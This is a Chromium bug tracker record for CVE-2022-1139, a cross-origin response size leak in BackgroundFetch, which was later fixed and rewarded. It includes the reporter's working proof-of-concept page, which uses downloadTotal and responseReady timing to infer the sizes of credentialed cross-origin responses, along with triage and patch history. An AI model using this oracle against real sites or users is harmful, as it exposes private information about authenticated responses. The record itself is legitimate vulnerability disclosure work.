Starred by 2 users

Owner:	rayankans@chromium.org
CC:	na...@chromium.org peter@chromium.org
Status:	Fixed *(Closed)*
Components:	Blink>BackgroundFetch
Modified:	Jul 29, 2022
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Android, Windows, Chrome, Mac, Fuchsia, Lacros
Pri:	1
Type:	Bug-Security

reward-3000
Security_Severity-Medium
allpublic
reward-inprocess
CVE_description-submitted
Target-97
external_security_report
M-98
Target-98
FoundIn-94
Security_Impact-Extended
merge-merged-4664
LTS-Merge-Merged-96
Release-0-M100
CVE-2022-1139

Issue 1268541: Security: Another Cross-Origin Response Size Leak Via BackgroundFetch

Reported by layton.cscg@gmail.com on Tue, Nov 9, 2021, 3:18 PM EST

Code

VULNERABILITY DETAILS

I found another oracle that makes it possible to leak the response size of cross-origin requests. If the specified value for `downloadTotal` is smaller than the response size, the promise of `BackgroundFetchRecord.responseReady` doesn't resolve. So for example if`BackgroundFetchRegistration.result` is defined, but `BackgroundFetchRecord.responseReady` didn't resolve, the response size is larger than `downloadTotal`.

VERSION

Chrome Version: Version 95.0.4638.69 (Official Build) Arch Linux (64-bit)

REPRODUCTION CASE

I made a page that sends as much characters as specified via the `l` parameter, make sure the glitch.me page (`https://ripe-succinct-root.glitch.me/test?l=10`) is running before testing.

test.html

```
<script>
  const downloadTotal = 100; // response size to test
  const url = "https://ripe-succinct-root.glitch.me/test?l=200"; // url to test response size

  navigator.serviceWorker.ready.then(async (swReg) => {
    const bgFetch = await swReg.backgroundFetch.fetch(
      "test",
      [new Request(url, { credentials: "include" })],
      { downloadTotal: downloadTotal }
    );

    const targetPage = await bgFetch.match(url);
    const response = targetPage.responseReady; // promise doesn't return if response size is greater than downloadTotal
    const noResponse = new Promise(async (r) => {
      while (!bgFetch.result) {
        // wait for bgFetch
        await new Promise((s) => setTimeout(s, 10));
      }
      r();
    });

    const check = await Promise.race([response, noResponse]);
    console.log(
      check
        ? "response size is smaller than or equal to"
        : "response size is greater than",
      downloadTotal
    );

  });

  navigator.serviceWorker.register("sw.js");
```

navigator.serviceWorker.register('sw.js');
</script>
```

sw.js
```
// can be empty
```

Start a local http server: `python -m http.server`

**CREDIT INFORMATION**
Maurice Dauer

Comment 1 by sheriffbot on Tue, Nov 9, 2021, 3:24 PM EST Project Member

**Labels:** external_security_report

Comment 2 by tsepez@chromium.org on Tue, Nov 9, 2021, 4:56 PM EST Project Member

**Labels:** OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows OS-Lacros
**Components:** Blink>BackgroundFetch

Comment 3 by tsepez@chromium.org on Wed, Nov 10, 2021, 12:51 PM EST Project Member

**Status:** Assigned (was: Unconfirmed)
**Owner:** rayankans@chromium.org

Comment 4 by amyressler@chromium.org on Tue, Nov 23, 2021, 11:45 AM EST Project Member

**Labels:** Security_Severity-Medium FoundIn-94

Assigning severity medium based on ~~issue 1245053~~ and this being a cross-origin info leak; goes back to prior to M94 so assigning FoundIn-94 based on oldest current stable channel version (extended stable)

Comment 5 by sheriffbot on Tue, Nov 23, 2021, 11:47 AM EST Project Member

**Labels:** Security_Impact-Extended

Comment 6 by amyressler@chromium.org on Tue, Nov 23, 2021, 11:56 AM EST Project Member

**Cc:** na...@chromium.org
**Labels:** Pri-2

since rayankans@ is currently OOO until 1 December

Comment 7 by sheriffbot on Tue, Nov 23, 2021, 12:52 PM EST Project Member

**Labels:** Target-97 M-97

Setting milestone and target because of medium severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 8 by sheriffbot on Tue, Nov 23, 2021, 1:18 PM EST Project Member

**Labels:** -Pri-2 Pri-1
```

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 9 by sheriffbot on Wed, Nov 24, 2021, 12:21 PM EST Project Member

rayankans: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 10 by sheriffbot on Mon, Dec 6, 2021, 11:10 AM EST Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 11 by sheriffbot on Thu, Dec 16, 2021, 11:10 AM EST Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 12 by sheriffbot on Mon, Dec 27, 2021, 11:10 AM EST Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 13 by sheriffbot on Thu, Jan 6, 2022, 11:11 AM EST Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 14 by sheriffbot on Mon, Jan 17, 2022, 11:10 AM EST Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 15 by sheriffbot on Thu, Jan 27, 2022, 11:11 AM EST Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 16 by sheriffbot on Wed, Feb 2, 2022, 12:22 PM EST Project Member

Labels: -M-97 M-98 Target-98

Comment 17 by layton.cscg@gmail.com on Thu, Feb 10, 2022, 7:49 AM EST

Is there any update on this?

Comment 18 by rayankans@chromium.org on Thu, Feb 10, 2022, 11:03 AM EST Project Member

Sorry for the delay, I was mostly out for the last 3 months, and I just saw this. Not sure why this was assigned to me.

I sent out a fix here: https://chromium-review.googlesource.com/c/chromium/src/+/3452267

Comment 19 by layton.cscg@gmail.com on Thu, Feb 10, 2022, 11:52 AM EST

No worries, thanks for coming up with a fix that fast. I also reported a few other issues that were assigned to you, not sure if you saw them: ~~issue 1268580~~, issue 1274547 and ~~issue 1278255~~.

Comment 20 by Git Watcher on Mon, Feb 14, 2022, 3:32 PM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/c15a4bba2f9bbc9790ccccaf720bdca1f14ad4e0

commit c15a4bba2f9bbc9790ccccaf720bdca1f14ad4e0
Author: Rayan Kanso <rayankans@google.com>
Date: Mon Feb 14 20:31:53 2022

[Background Fetch] Mark in-progress requests as complete when fetch is aborted

~~Bug: 1268541~~
Change-Id: I5752cc5b82a1d6b94d0b0dfe72707da4ca8fb43b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3452267
Reviewed-by: Peter Beverloo <peter@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Commit-Queue: Avi Drissman <avi@chromium.org>
Cr-Commit-Position: refs/heads/main@{#970795}

[modify]
https://crrev.com/c15a4bba2f9bbc9790ccccaf720bdca1f14ad4e0/content/browser/background_fetch/background_fetch_delegate_proxy.cc
[modify]
https://crrev.com/c15a4bba2f9bbc9790ccccaf720bdca1f14ad4e0/content/browser/background_fetch/background_fetch_de

https://crrev.com/c15a4bba2f9bbc9790ccccaf720bdca1f14ad4e0/content/browser/background_fetch/background_fetch_delegate_proxy.h
[modify]
https://crrev.com/c15a4bba2f9bbc9790ccccaf720bdca1f14ad4e0/components/background_fetch/background_fetch_delegate_base.h
[modify]
https://crrev.com/c15a4bba2f9bbc9790ccccaf720bdca1f14ad4e0/components/background_fetch/background_fetch_delegate_base.cc
[modify]
https://crrev.com/c15a4bba2f9bbc9790ccccaf720bdca1f14ad4e0/content/public/browser/background_fetch_delegate.h

Comment 21 by layton.cscg@gmail.com on Tue, Mar 15, 2022, 9:17 AM EDT

Hey, is this fixed? Please also see #c19.

Comment 22 by amyressler@chromium.org on Mon, Mar 28, 2022, 6:21 PM EDT Project Member

Status: Fixed (was: Assigned)

Updating as fixed based on CL

Comment 23 by amyressler@chromium.org on Mon, Mar 28, 2022, 6:28 PM EDT Project Member

Labels: Release-0-M100

Comment 24 by sheriffbot on Tue, Mar 29, 2022, 12:41 PM EDT Project Member

Labels: reward-topanel

Comment 25 by amyressler@google.com on Tue, Mar 29, 2022, 1:14 PM EDT Project Member

Labels: CVE-2022-1139 CVE_description-missing

Comment 26 by sheriffbot on Tue, Mar 29, 2022, 1:40 PM EDT Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 27 by gmpritchard@google.com on Mon, Apr 4, 2022, 1:15 PM EDT Project Member

Labels: LTS-Merge-Candidate

Comment 28 by voit@google.com on Tue, Apr 5, 2022, 6:13 AM EDT Project Member

Labels: LTS-Evaluating-96

Comment 29 by voit@google.com on Tue, Apr 5, 2022, 9:19 AM EDT Project Member

Labels: -LTS-Merge-Candidate -LTS-Evaluating-96 LTS-Merge-Request-96

Comment 30 by sheriffbot on Tue, Apr 5, 2022, 9:24 AM EDT Project Member

Labels: -LTS-Merge-Request-96 LTS-Merge-Review-96

This issue requires additional review before it can be merged to the LTS channel. Please answer the following questions to help us evaluate this merge:

1. Number of CLs needed for this fix and links to them.
2. Level of complexity (High, Medium, Low - Explain)

2. Level of complexity (High, Medium, Low - Explain)
3. Has this been merged to a stable release? beta release?
4. Overall Recommendation (Yes, No)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 31 by voit@google.com on Tue, Apr 5, 2022, 10:46 AM EDT Project Member

1. https://crrev.com/c/3568747
2. Low - small changes, no conflicts
3. M100
4. Yes

Comment 32 by gmpritchard@google.com on Wed, Apr 6, 2022, 5:17 PM EDT Project Member

Labels: -LTS-Merge-Review-96 LTS-Merge-Approved-96

Comment 33 by Git Watcher on Thu, Apr 7, 2022, 12:12 PM EDT Project Member

Labels: merge-merged-4664

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/bf57ba0673ebe0bce8f65f60bac2c13b4bd167da

commit bf57ba0673ebe0bce8f65f60bac2c13b4bd167da
Author: Rayan Kanso <rayankans@google.com>
Date: Thu Apr 07 16:11:45 2022

[M96-LTS][Background Fetch] Mark in-progress requests as complete when fetch is aborted

(cherry picked from commit c15a4bba2f9bbc9790ccccaf720bdca1f14ad4e0)

~~Bug: 1268541~~
Change-Id: I5752cc5b82a1d6b94d0b0dfe72707da4ca8fb43b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3452267
Commit-Queue: Avi Drissman <avi@chromium.org>
Cr-Original-Commit-Position: refs/heads/main@{#970795}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3568747
Reviewed-by: Simon Hangl <simonha@google.com>
Owners-Override: Simon Hangl <simonha@google.com>
Commit-Queue: Zakhar Voit <voit@google.com>
Cr-Commit-Position: refs/branch-heads/4664@{#1576}
Cr-Branched-From: 24dc4ee75e01a29d390d43c9c264372a169273a7-refs/heads/main@{#929512}

[modify]
https://crrev.com/bf57ba0673ebe0bce8f65f60bac2c13b4bd167da/content/browser/background_fetch/background_fetch_delegate_proxy.cc
[modify]
https://crrev.com/bf57ba0673ebe0bce8f65f60bac2c13b4bd167da/content/browser/background_fetch/background_fetch_delegate_proxy.h
[modify]
https://crrev.com/bf57ba0673ebe0bce8f65f60bac2c13b4bd167da/components/background_fetch/background_fetch_delegate_base.h
[modify]

[modify]
https://crrev.com/bf57ba0673ebe0bce8f65f60bac2c13b4bd167da/components/background_fetch/background_fetch_delegate_base.cc
[modify]
https://crrev.com/bf57ba0673ebe0bce8f65f60bac2c13b4bd167da/content/public/browser/background_fetch_delegate.h

Comment 34 by voit@google.com on Fri, Apr 8, 2022, 4:39 AM EDT Project Member

Labels: LTS-Merge-Merged-96

Comment 35 by amyressler@google.com on Mon, Apr 11, 2022, 1:06 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-3000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 36 by amyressler@chromium.org on Mon, Apr 11, 2022, 1:28 PM EDT Project Member

Congratulations! The VRP Panel has decided to award you $3,000 for this report. Thank you for your efforts and reporting this issue to us!

Comment 37 by voit@google.com on Tue, Apr 12, 2022, 9:43 AM EDT Project Member

Labels: -LTS-Merge-Approved-96

Comment 38 by amyressler@google.com on Tue, Apr 12, 2022, 9:25 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

Comment 39 by sheriffbot on Tue, Jul 5, 2022, 1:31 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 40 by amyressler@google.com on Fri, Jul 22, 2022, 7:36 PM EDT Project Member

Labels: CVE_description-submitted -CVE_description-missing

Comment 41 by amyressler@chromium.org on Fri, Jul 29, 2022, 5:26 PM EDT Project Member

Labels: -CVE_description-missing --CVE_description-missing